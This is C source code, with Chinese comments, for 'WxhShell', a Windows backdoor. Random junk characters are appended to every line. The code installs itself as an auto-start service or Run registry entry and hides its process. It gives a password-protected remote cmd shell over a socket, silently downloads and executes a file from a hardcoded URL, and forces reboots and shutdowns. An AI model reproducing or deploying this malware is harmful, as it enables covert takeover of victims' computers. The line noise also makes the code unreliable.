  case 'd': { z;J  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); JfMJF[Mb  
    if(Boot(SHUTDOWN)) QV0M/k<'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;v_ls)_,-  
    else { /mc*Hc 8R8  
    closesocket(wsh); (wife#)~  
    ExitThread(0); hGvqT,'  
    } d>&\V)E  
    break; -TgUyv.  
    } ^\MhT)x  
  // 获取shell B22b&0  
  case 's': { [a@ B =E  
    CmdShell(wsh); ' PELf P8  
    closesocket(wsh); Vn'?3Eb<  
    ExitThread(0); P@C c]Z  
    break; `mrCu>7  
  } |"Z-7@/k$i  
  // 退出 D ZVXz|g  
  case 'x': { 3)Zu[c[%'J  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); S/VA~,KCe;  
    CloseIt(wsh); I:F <vE  
    break; NEMEY7De2  
    } HcA[QBh  
  // 离开 [<yz)<<  
  case 'q': { PB+\jj  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); F99A;M8(  
    closesocket(wsh); mbyih+amCr  
    WSACleanup(); ;Z*'D}  
    exit(1); (-\]A|  
    break; /l ^y}o %?  
        } usy,V"{  
  } UeA2c_ 5  
  } e8{^f]5  
G]-%AO{K  
  // 提示信息 7%4.b7Q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 45) D+  
} };rm3;~ eg  
  } )6=gooe]  
GMdI0jaG#  
  return; AF GwT%ZD  
} KSc~GP _  
j{)~QD?  
// shell模块句柄 jB!W2~Z  
int CmdShell(SOCKET sock) Y''6NGf  
{ a%E8(ms37y  
STARTUPINFO si; ENq"mwV|  
ZeroMemory(&si,sizeof(si)); =:gjz4}_8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ir27ZP  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @bT3'K-4  
PROCESS_INFORMATION ProcessInfo; dQ<(lzS~  
char cmdline[]="cmd"; 9`BEi(z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &\k?xN  
  return 0; zw]3Vg{T  
} .fEw k  
Ukc'?p,*  
// 自身启动模式 jn$j^ 51`C  
int StartFromService(void) K_>/lirE?  
{ y@A6$[%(E|  
typedef struct ^X &)'H  
{ &dRjqn^&X  
  DWORD ExitStatus; ra:GzkIw  
  DWORD PebBaseAddress; :CTL)ad2  
  DWORD AffinityMask; MtUY?O.P2  
  DWORD BasePriority; n+?-�  
  ULONG UniqueProcessId; s`c?:  
  ULONG InheritedFromUniqueProcessId; j=W@P-  
}   PROCESS_BASIC_INFORMATION; C`0%C7  
|{f~Ks%  
PROCNTQSIP NtQueryInformationProcess; VjB*{,  
kwlC[G$j7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #V[SQ=>x[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; | ]# +v@  
C_G1P)k  
  HANDLE             hProcess; IY)5.E _  
  PROCESS_BASIC_INFORMATION pbi; SKR;wu  
G#0,CLGN^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #ZlM?Q  
  if(NULL == hInst ) return 0; ;& ~929  
!BUi)mo  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); BI.V0@qZ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -NzTqLBn  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); gI{ =0  
<HF-2?`  
  if (!NtQueryInformationProcess) return 0; \Yq0 zVol  
"0-y*1/m  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); lR@& Z6lw  
  if(!hProcess) return 0; W 2<3C  
K/|  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; TsD;Kl1  
v459},!P  
  CloseHandle(hProcess); Q]#Z9H  
.S_QQM}Q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -~O/NX  
if(hProcess==NULL) return 0; L\L"mc|O  
7|Dn+ =  
HMODULE hMod; lw[<STpD;  
char procName[255]; ([KN*OF  
unsigned long cbNeeded; XG&K32_fs  
nY0sb8lZJ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); hVUIBJ/5(-  
WNF9#oN|oT  
  CloseHandle(hProcess); $XGtS$  
0T))>.iu#  
if(strstr(procName,"services")) return 1; // 以服务启动 {eR9 ;2!  
a,n93-m(m  
  return 0; // 注册表启动 jNc<~{/  
} GNU;jSh5  
s;1e0n  
// 主模块 ^|?1_r  
int StartWxhshell(LPSTR lpCmdLine) ?3jdg]&  
{ HO5d%85  
  SOCKET wsl; a$m_D!b~_  
BOOL val=TRUE; 9m8ee&,  
  int port=0; C:GvP>  
  struct sockaddr_in door; f xtxu?A>  
o56kp3b)b  
  if(wscfg.ws_autoins) Install(); Ae49n4J  
I4il R$jg  
port=atoi(lpCmdLine); YPszk5hn  
ezZph"&  
if(port<=0) port=wscfg.ws_port; Ttv'k*$cP  
O]qPmEj  
  WSADATA data; /9_#U#vhY  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2 B` 8eb  
\r;F2C0*i  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   FH*RU1Z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]XUSqai  
  door.sin_family = AF_INET; 2xTT)9Tq*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .pvxh|V  
  door.sin_port = htons(port); \hbiU ]  
@~o`#$*|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { !8$RBD %  
closesocket(wsl);  YqU/\f+  
return 1; JJ5C}`(  
} frqJN  
z*LiweR-  
  if(listen(wsl,2) == INVALID_SOCKET) { hZN<Yd8:  
closesocket(wsl); |Q!4GeQL[  
return 1; Ei~f`{i  
} QlD6i-a  
  Wxhshell(wsl); ~lw<799F6  
  WSACleanup(); U9#WN.noG  
5AOfp2O  
return 0; 2OalAY6RS  
J#7y< s  
} @!\K>G >9[  
-0 0}if7  
// 以NT服务方式启动 !kXeO6X@m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) G9RP^  
{ I KcKRw/O$  
DWORD   status = 0; ;fGx;D  
  DWORD   specificError = 0xfffffff; U)[ty@zyF  
y $V[_TN  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 2jA%[L9d^  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]US[5)EL-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %;O}FyP  
  serviceStatus.dwWin32ExitCode     = 0; FT/amCRyT  
  serviceStatus.dwServiceSpecificExitCode = 0; HC7JMj  
  serviceStatus.dwCheckPoint       = 0; cOku1 g8  
  serviceStatus.dwWaitHint       = 0; 70Ka!  
ow.6!tl0=h  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5 =Z!hQ}  
  if (hServiceStatusHandle==0) return; Uix{"  
qI2'u%  
status = GetLastError(); "l,UOv c  
  if (status!=NO_ERROR) =!,Gst_  
{ O3%[dR  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; s#^pC*,'  
    serviceStatus.dwCheckPoint       = 0; k/lFRi-i  
    serviceStatus.dwWaitHint       = 0; I]uhi{\C  
    serviceStatus.dwWin32ExitCode     = status; @GG ccF  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2c:f<>r0y  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &1Fply7(Ay  
    return; l4ouZR  
  } 8#f$rs(}  
ax@H"d&  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 4P kfUMX  
  serviceStatus.dwCheckPoint       = 0; ]rW8y%yD  
  serviceStatus.dwWaitHint       = 0; 7GZq|M_:y  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); _!AJiP3!)4  
} L2|aHI1'l  
0*7*RX  
// 处理NT服务事件,比如:启动、停止 8A{6j  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 7X'y>\^w^>  
{ ;NsO  
switch(fdwControl) vWY(%Q,  
{ r4eUZ .8R  
case SERVICE_CONTROL_STOP: RP` `mI  
  serviceStatus.dwWin32ExitCode = 0; ?_ RYqolz  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ek)Xrp:2  
  serviceStatus.dwCheckPoint   = 0; 6/2v  
  serviceStatus.dwWaitHint     = 0; x / XkD]Hq  
  { R^P_{_I*"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9 P"iuU  
  } 2)\vj5<~$  
  return; t(?<#KUB-  
case SERVICE_CONTROL_PAUSE: 7+ XM3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; gfo}I2"  
  break; 'sU)|W(3U  
case SERVICE_CONTROL_CONTINUE: &" h]y?Q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "mZ.V  
  break; ?R6`qe_F  
case SERVICE_CONTROL_INTERROGATE: 0BTLcEqgZ  
  break; <_:zI r,  
}; (pYYkR"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H(qm>h$bU  
} :vQM>9l7  
0Nr\2|  
// 标准应用程序主函数 ')o0O9/;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) xP@/9SM  
{ >XE`h 9  
Hg(5S,O2  
// 获取操作系统版本 y\[r(4h  
OsIsNt=GetOsVer(); JO1 ,TtA  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ew4 g'A:H  
x9V {R9_gf  
  // 从命令行安装 5py R ~+  
  if(strpbrk(lpCmdLine,"iI")) Install(); KQ)T(mIqp  
8(A{;9^g  
  // 下载执行文件 u O'/|[`8  
if(wscfg.ws_downexe) { ,sDr9h/'C3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?q Xs-  
  WinExec(wscfg.ws_filenam,SW_HIDE); l3J$md|f  
} ;~/4d-  
a [C&e,)}  
if(!OsIsNt) { "!q?P" @C  
// 如果时win9x,隐藏进程并且设置为注册表启动 bK=c@GXS  
HideProc(); PDC]wZd/  
StartWxhshell(lpCmdLine); -g~~]K%  
} %f!iHo+Z  
else 7~vqf3ON4J  
  if(StartFromService()) ]!Zty[  
  // 以服务方式启动 f\}22}/  
  StartServiceCtrlDispatcher(DispatchTable); pFIecca w  
else 1xTTJyoq  
  // 普通方式启动 YIO R$  
  StartWxhshell(lpCmdLine); gX*K&*q   
gaeOgP.0  
return 0; J}@GKNm  
} % h+uD^^$  
+X^4; &  
MY F#A  
LK+felL  
=========================================== _A-V@%3  
6%?A>  
{tt$w>X  
~ hm`uP  
sv=H~wce  
n\ Uh  
" D#v?gPo4  
oVkr3K Z  
#include <stdio.h> p>p'.#M  
#include <string.h> gpAHC   
#include <windows.h> s*JE)  
#include <winsock2.h> 3qo e^e  
#include <winsvc.h> k18$JyaG  
#include <urlmon.h> e &3#2_  
*Nlu5(z  
#pragma comment (lib, "Ws2_32.lib") O5;-Om  
#pragma comment (lib, "urlmon.lib") o!Fl]3F  
H#+xKYrp  
#define MAX_USER   100 // 最大客户端连接数 tpU D0Z)  
#define BUF_SOCK   200 // sock buffer ou6j*eSN  
#define KEY_BUFF   255 // 输入 buffer !6E:5=L^  
@^CG[:|  
#define REBOOT     0   // 重启 {!=2<-Aq  
#define SHUTDOWN   1   // 关机 ;3 UvkN  
3;y_mg  
#define DEF_PORT   5000 // 监听端口 E@pFTvo  
F= i!d,S  
#define REG_LEN     16   // 注册表键长度 NI\H \#bJ  
#define SVC_LEN     80   // NT服务名长度 h{/ve`F>@  
x,1=D~L}  
// 从dll定义API A&l7d0Z^j5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); \n0gTwiO%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); B01^oYM}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); d_T<5Hin  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); f)^t')  
"Ot{^ _e  
// wxhshell配置信息 MPvWCPB  
struct WSCFG { qGa<@ b  
  int ws_port;         // 监听端口 KjYDFrR4  
  char ws_passstr[REG_LEN]; // 口令 ,?y7 ,nb  
  int ws_autoins;       // 安装标记, 1=yes 0=no HRHrSf7  
  char ws_regname[REG_LEN]; // 注册表键名 D rTM$)  
  char ws_svcname[REG_LEN]; // 服务名 c[{UI  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 vYzVY\   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `M rBav  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 gj;@?o0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no wOcg4HlW  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" A& =pw#  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 stXda@y<p  
Wp4K6x  
}; STB-guia5  
UE7'B?  
// default Wxhshell configuration V}:'Xgp*N  
struct WSCFG wscfg={DEF_PORT, 7j T}{ x  
    "xuhuanlingzhe", >0V0i%inmF  
    1, cY~M4:vgT  
    "Wxhshell", czS7-Hh@  
    "Wxhshell", Ilef+V^qr  
            "WxhShell Service", f".q9{+p,  
    "Wrsky Windows CmdShell Service", u _X} -U  
    "Please Input Your Password: ", @+t (xCv  
  1, e YDUon  
  "http://www.wrsky.com/wxhshell.exe",  ~me\  
  "Wxhshell.exe" >{F!ntEj  
    }; hr1$1&p  
+!xu{2!  
// 消息定义模块 {? 2;0}3?;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; j%5a+(H,z;  
char *msg_ws_prompt="\n\r? for help\n\r#>"; K @C4*?P  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -p^'XL*Z  
char *msg_ws_ext="\n\rExit."; 4y>(RrVG  
char *msg_ws_end="\n\rQuit."; idz9YpW  
char *msg_ws_boot="\n\rReboot..."; QQq/5r4O`q  
char *msg_ws_poff="\n\rShutdown..."; OA5f}+  
char *msg_ws_down="\n\rSave to "; %-r?=L  
XLocg  
char *msg_ws_err="\n\rErr!"; \-d '9b?  
char *msg_ws_ok="\n\rOK!"; 7@@<5&mN  
Z+,CL/  
char ExeFile[MAX_PATH]; N-Z^G<[q.  
int nUser = 0; Qpw@MF2P  
HANDLE handles[MAX_USER]; sL8>GtVo  
int OsIsNt; L}b'+Wi@  
b?>VPuyBb  
SERVICE_STATUS       serviceStatus; )r pD2H  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {s9<ej~<R  
\H[Yyp4  
// 函数声明 N5ci};?  
int Install(void);  RY9. n  
int Uninstall(void); Z:TFOnJ  
int DownloadFile(char *sURL, SOCKET wsh); S[ ^nSF  
int Boot(int flag); zQt1;bo  
void HideProc(void); u`+ 'lBE,  
int GetOsVer(void); F#KF6)P  
int Wxhshell(SOCKET wsl); [brkx3h  
void TalkWithClient(void *cs); UT~4Cfb  
int CmdShell(SOCKET sock); `xGT_0&ck  
int StartFromService(void); @Rf^P(  
int StartWxhshell(LPSTR lpCmdLine); tbS#^Y  
nAvs~J  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Yu;9&b  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?F25D2[(  
#XfT1  
// 数据结构和表定义 }Wqtip:L  
SERVICE_TABLE_ENTRY DispatchTable[] = s*eyTm  
{ "H@Fe  
{wscfg.ws_svcname, NTServiceMain}, eZ A6D\  
{NULL, NULL} r\B"?oqC  
}; IBDVFA  
w7r'SCVh3+  
// 自我安装 c{ 7<H  
int Install(void) !L/tLHk+  
{ A^t"MYX@  
  char svExeFile[MAX_PATH]; PH[4y:^DN  
  HKEY key; i"< ZVw  
  strcpy(svExeFile,ExeFile); {x|MA(NO  
=8@RKG`>;  
// 如果是win9x系统,修改注册表设为自启动 qA04Vc[2  
if(!OsIsNt) { $.;iu2iyo  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k 5t{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2G H)iUmc  
  RegCloseKey(key); 8z?$t-DO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G$|G w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); waBRQh  
  RegCloseKey(key); J#+Op/mmo  
  return 0; \_?yzgf  
    } ,Io0ZE>`V  
  } {({ R:!c  
} am3V9 "\  
else { ?~{r f:Y  
z"9aAytd  
// 如果是NT以上系统,安装为系统服务 >}mNi:6xq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); wQ@Zw bx  
if (schSCManager!=0) haN"/C^  
{ A(PE  
  SC_HANDLE schService = CreateService g^qz&;R]  
  ( U-ERhm>uk  
  schSCManager, dP?nP(l  
  wscfg.ws_svcname, Hi$#!OU  
  wscfg.ws_svcdisp, .vN)A *  
  SERVICE_ALL_ACCESS, /FoUo   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  y/z9Ce*>  
  SERVICE_AUTO_START, _xa}B,H  
  SERVICE_ERROR_NORMAL, b!0'Qidh0  
  svExeFile, 5aa}FdUq  
  NULL, N|bPhssFw  
  NULL, tq2-.]Y@U  
  NULL, Iq^~  
  NULL, ^qE<yn  
  NULL K-N]h  
  ); MA~|y_V  
  if (schService!=0) EI[e+@J  
  { Xw&QrTDS`  
  CloseServiceHandle(schService); Y{+zg9L*  
  CloseServiceHandle(schSCManager); #|)JD@;Q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ?j &V:kF  
  strcat(svExeFile,wscfg.ws_svcname);  Oz"@yL}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `V?x xq\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <1;,B%_^  
  RegCloseKey(key); Zm"!E6`69  
  return 0; n's2/9x  
    } M Ak-=?t  
  } {hkM*:U  
  CloseServiceHandle(schSCManager); "Nk=g~|  
} M=" WUe_  
} eO|^Lu]+  
~9`^72  
return 1; gb!@OZ c  
} BN<#x@m$]  
2?#y |/  
// 自我卸载 0 .6X{kO  
int Uninstall(void) #+ 2:d?t  
{ [[Jv)?jm  
  HKEY key; +X2 i/}  
k1QpX@  
if(!OsIsNt) { /xX,   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a}[=_vb}K  
  RegDeleteValue(key,wscfg.ws_regname); ')1}#V/I  
  RegCloseKey(key); r| 6S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?{ 8sT-Z-L  
  RegDeleteValue(key,wscfg.ws_regname); 1 $KLMW  
  RegCloseKey(key); 0-;DN:>  
  return 0; Lz#$_Am'H  
  } e')&ODQ H  
} nN_94 ZqS<  
} }`+^|1  
else { S*2L4Uj`|  
$ ufSNx(F  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :F KYYH\  
if (schSCManager!=0) thlpj*|  
{ teQaHe#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .g(\B  
  if (schService!=0) Pq[0vZ_}dN  
  { NIWI6qCw  
  if(DeleteService(schService)!=0) { ]ut-wqb{p  
  CloseServiceHandle(schService); i 5 >J  
  CloseServiceHandle(schSCManager); E7Gi6w~\  
  return 0; %>I?'y^  
  } c'TiWZP~  
  CloseServiceHandle(schService); k#IS ,NKE  
  } 1drqWI~  
  CloseServiceHandle(schSCManager); web8QzLLB  
} 1 o  
} MQbNWUi  
7(+OsE  
return 1; e GqvnNv  
} ~Uwr68 9N  
x|,aV=$o  
// 从指定url下载文件 `ykMh>*{  
int DownloadFile(char *sURL, SOCKET wsh) C-:SQf  
{ Im' :sJ31  
  HRESULT hr; *$4A|EA V  
char seps[]= "/"; J^F(]  
char *token; ga 2Q3mV  
char *file; ()3x%3   
char myURL[MAX_PATH]; &"r==A?  
char myFILE[MAX_PATH]; j-C42Pfr  
]`/R("l[  
strcpy(myURL,sURL); 'WM~ bm+N  
  token=strtok(myURL,seps); Z@c0(ol  
  while(token!=NULL) {g:/ BFLr#  
  { K,L>  
    file=token; !e#I4,fn  
  token=strtok(NULL,seps); mKf>6/s{c  
  } jV|$? Rcl%  
LBbo.KxAe3  
GetCurrentDirectory(MAX_PATH,myFILE); $@:>7Y"  
strcat(myFILE, "\\"); 28UL  
strcat(myFILE, file); xP5mL3j  
  send(wsh,myFILE,strlen(myFILE),0); ;+TF3av0zq  
send(wsh,"...",3,0); iEJQ#5))0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ei?9M^w  
  if(hr==S_OK) ^]sMy7X0IK  
return 0; esC\R4he  
else n|4D#Bd1w  
return 1; 3<UDVt@0  
\$~oH3m&  
} 0imqj7L  
_'v }=:X  
// 系统电源模块 u=v%7c2Mx}  
int Boot(int flag) qeK  
{ tE9_dR^K  
  HANDLE hToken; N`|Ab(.  
  TOKEN_PRIVILEGES tkp; 13_+$DhU-L  
>gOI]*!5  
  if(OsIsNt) { !+|N<`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); C$..w80/1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); + k(3+b$S-  
    tkp.PrivilegeCount = 1; ) R a/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]\9B?W(#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); OL ]T+6X  
if(flag==REBOOT) { )zL"r8si  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) XB!`*vZ/<  
  return 0; }r<@o3t  
} \Q?|gfJH  
else { M\.T 0M_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [nPzh Xs  
  return 0; FOUs= E[  
} ]stLC; nI  
  } }Cq9{0by?a  
  else { >s 8:1l  
if(flag==REBOOT) { j2{,1hj  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) l]kl V+9t  
  return 0; Bg+]_:<U  
} s=%+o& B  
else { J:-TINeB  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) J%O4IcE  
  return 0; tx1m36a"  
} 5dNf$a0E  
} 7^t(RNq  
neY=:9  
return 1; PHiX:0zT  
} cT=wJ  
#NQz&4W  
// win9x进程隐藏模块 6<Pg>Bg  
void HideProc(void) + x ;ML  
{ 5N3!!FFE  
HfeflGme*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ]R0A{+]n  
  if ( hKernel != NULL ) t1{%FJ0F  
  { Qpv}N*v^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f$S QhK5`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +8vzkfr3It  
    FreeLibrary(hKernel); 7Ae,|k  
  } g$-D?~(Z  
=*>4Gh i  
return; F6GZZKj  
} m[Ac'la  
!wb~A0m  
// 获取操作系统版本 xd BZ^Q  
int GetOsVer(void) 5bznM[%xO  
{ d @kLLDP  
  OSVERSIONINFO winfo; LX?r=_\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 0*:hm%g  
  GetVersionEx(&winfo); $I6eHjYT  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) lbuW*)  
  return 1; U!I_i*:U  
  else ):\{n8~  
  return 0; RWPd S  
} )w 8lusa  
,vdP #:  
// 客户端句柄模块 e %v4,8  
int Wxhshell(SOCKET wsl) ${?exnb$  
{ Dx# @D#  
  SOCKET wsh; *=0r>]  
  struct sockaddr_in client; eP)YJe 3  
  DWORD myID; "%f5ltut3  
\/4%[Q2QDm  
  while(nUser<MAX_USER) S{)n0/_  
{ >]Yha}6h  
  int nSize=sizeof(client); ZO0]+Ko  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); E+c3KqM  
  if(wsh==INVALID_SOCKET) return 1; z&vms   
Qu>zO!x  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); rn5g+%jX*  
if(handles[nUser]==0) UoS;!}l  
  closesocket(wsh); ]XafFr6pe  
else 0V,MDX}#_  
  nUser++; HXV73rDA  
  } Di"9 M(6vf  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +2fJ  
@[kM1:G-F{  
  return 0; NlEWm8u   
} _5S$mc8K0  
JTB~nd>  
// 关闭 socket +e4<z%1  
void CloseIt(SOCKET wsh) -GWzMBS S  
{ dQ|Ht[ s=  
closesocket(wsh); @N_H]6z4  
nUser--; od's1'c R  
ExitThread(0); x)wt.T?eL  
} ~)8i5p;P/k  
|Ge/|;.v`  
// 客户端请求句柄 3a)Q:#okD  
void TalkWithClient(void *cs) /FV6lR!0^  
{ 0#{]!>R  
YB1DL ^ :  
  SOCKET wsh=(SOCKET)cs; _ * s  
  char pwd[SVC_LEN]; qe"6#@b *|  
  char cmd[KEY_BUFF]; +U)|&1oa  
char chr[1]; V >uW|6  
int i,j; fX$4TPy(h  
P:-/3  
  while (nUser < MAX_USER) { 7Z~szD  
W (c\$2`  
if(wscfg.ws_passstr) { ts\>_/  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S,9WMti4x  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `&[:!U2]F  
  //ZeroMemory(pwd,KEY_BUFF); YJvT p~  
      i=0; -&D6w9w  
  while(i<SVC_LEN) { f#Cdx"  
<\>ak7m  
  // 设置超时 RYJc>  
  fd_set FdRead; SVWSO  
  struct timeval TimeOut; L=w Fo^N  
  FD_ZERO(&FdRead); G/3lX^Z>  
  FD_SET(wsh,&FdRead); =}GyI_br;8  
  TimeOut.tv_sec=8; H1qw1[%0y  
  TimeOut.tv_usec=0; I5OH=,y`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &`Z)5Ww  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); e.ym7L]$O  
Wy>\KrA1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E/P53CD  
  pwd=chr[0]; r_sl~^* :  
  if(chr[0]==0xd || chr[0]==0xa) { 7^ {hn_%;  
  pwd=0; #I~dv{RX  
  break; PH%gX`N  
  } WM )g(i~(  
  i++; Q R$sIu@%  
    } 4m!3P"$  
cE>/iZc  
  // 如果是非法用户,关闭 socket }e =GvWGa  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); tUF]f6  
} Zw 8b -_  
bK%tQeT  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); KBHKcFk  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  /r@  
YgOgYo{E!  
while(1) { L=!kDU  
QGG(I7{-  
  ZeroMemory(cmd,KEY_BUFF); }gRLW2&mR>  
sZBO_](S  
      // 自动支持客户端 telnet标准   g}r5ohqC#  
  j=0; 3^yWpSC  
  while(j<KEY_BUFF) { Mf13@XEo  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K2`WcEe  
  cmd[j]=chr[0]; Dx*oSP.qX  
  if(chr[0]==0xa || chr[0]==0xd) { GJfNO-  
  cmd[j]=0; 'c(Y")QP  
  break; ~cj:AIF  
  } ~0GX~{;r  
  j++; @_ ZW P  
    } Jd6Q9~z#  
;OqLNfU3y  
  // 下载文件 .T w F] v  
  if(strstr(cmd,"http://")) { vbh#[,lh  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); TEZqAR]G  
  if(DownloadFile(cmd,wsh)) <[l}^`IC^4  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]JuB6o_L  
  else pFRnPOv  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p&doQh  
  } D|'Z c &  
  else { e ;r-}U  
D|3QLG  
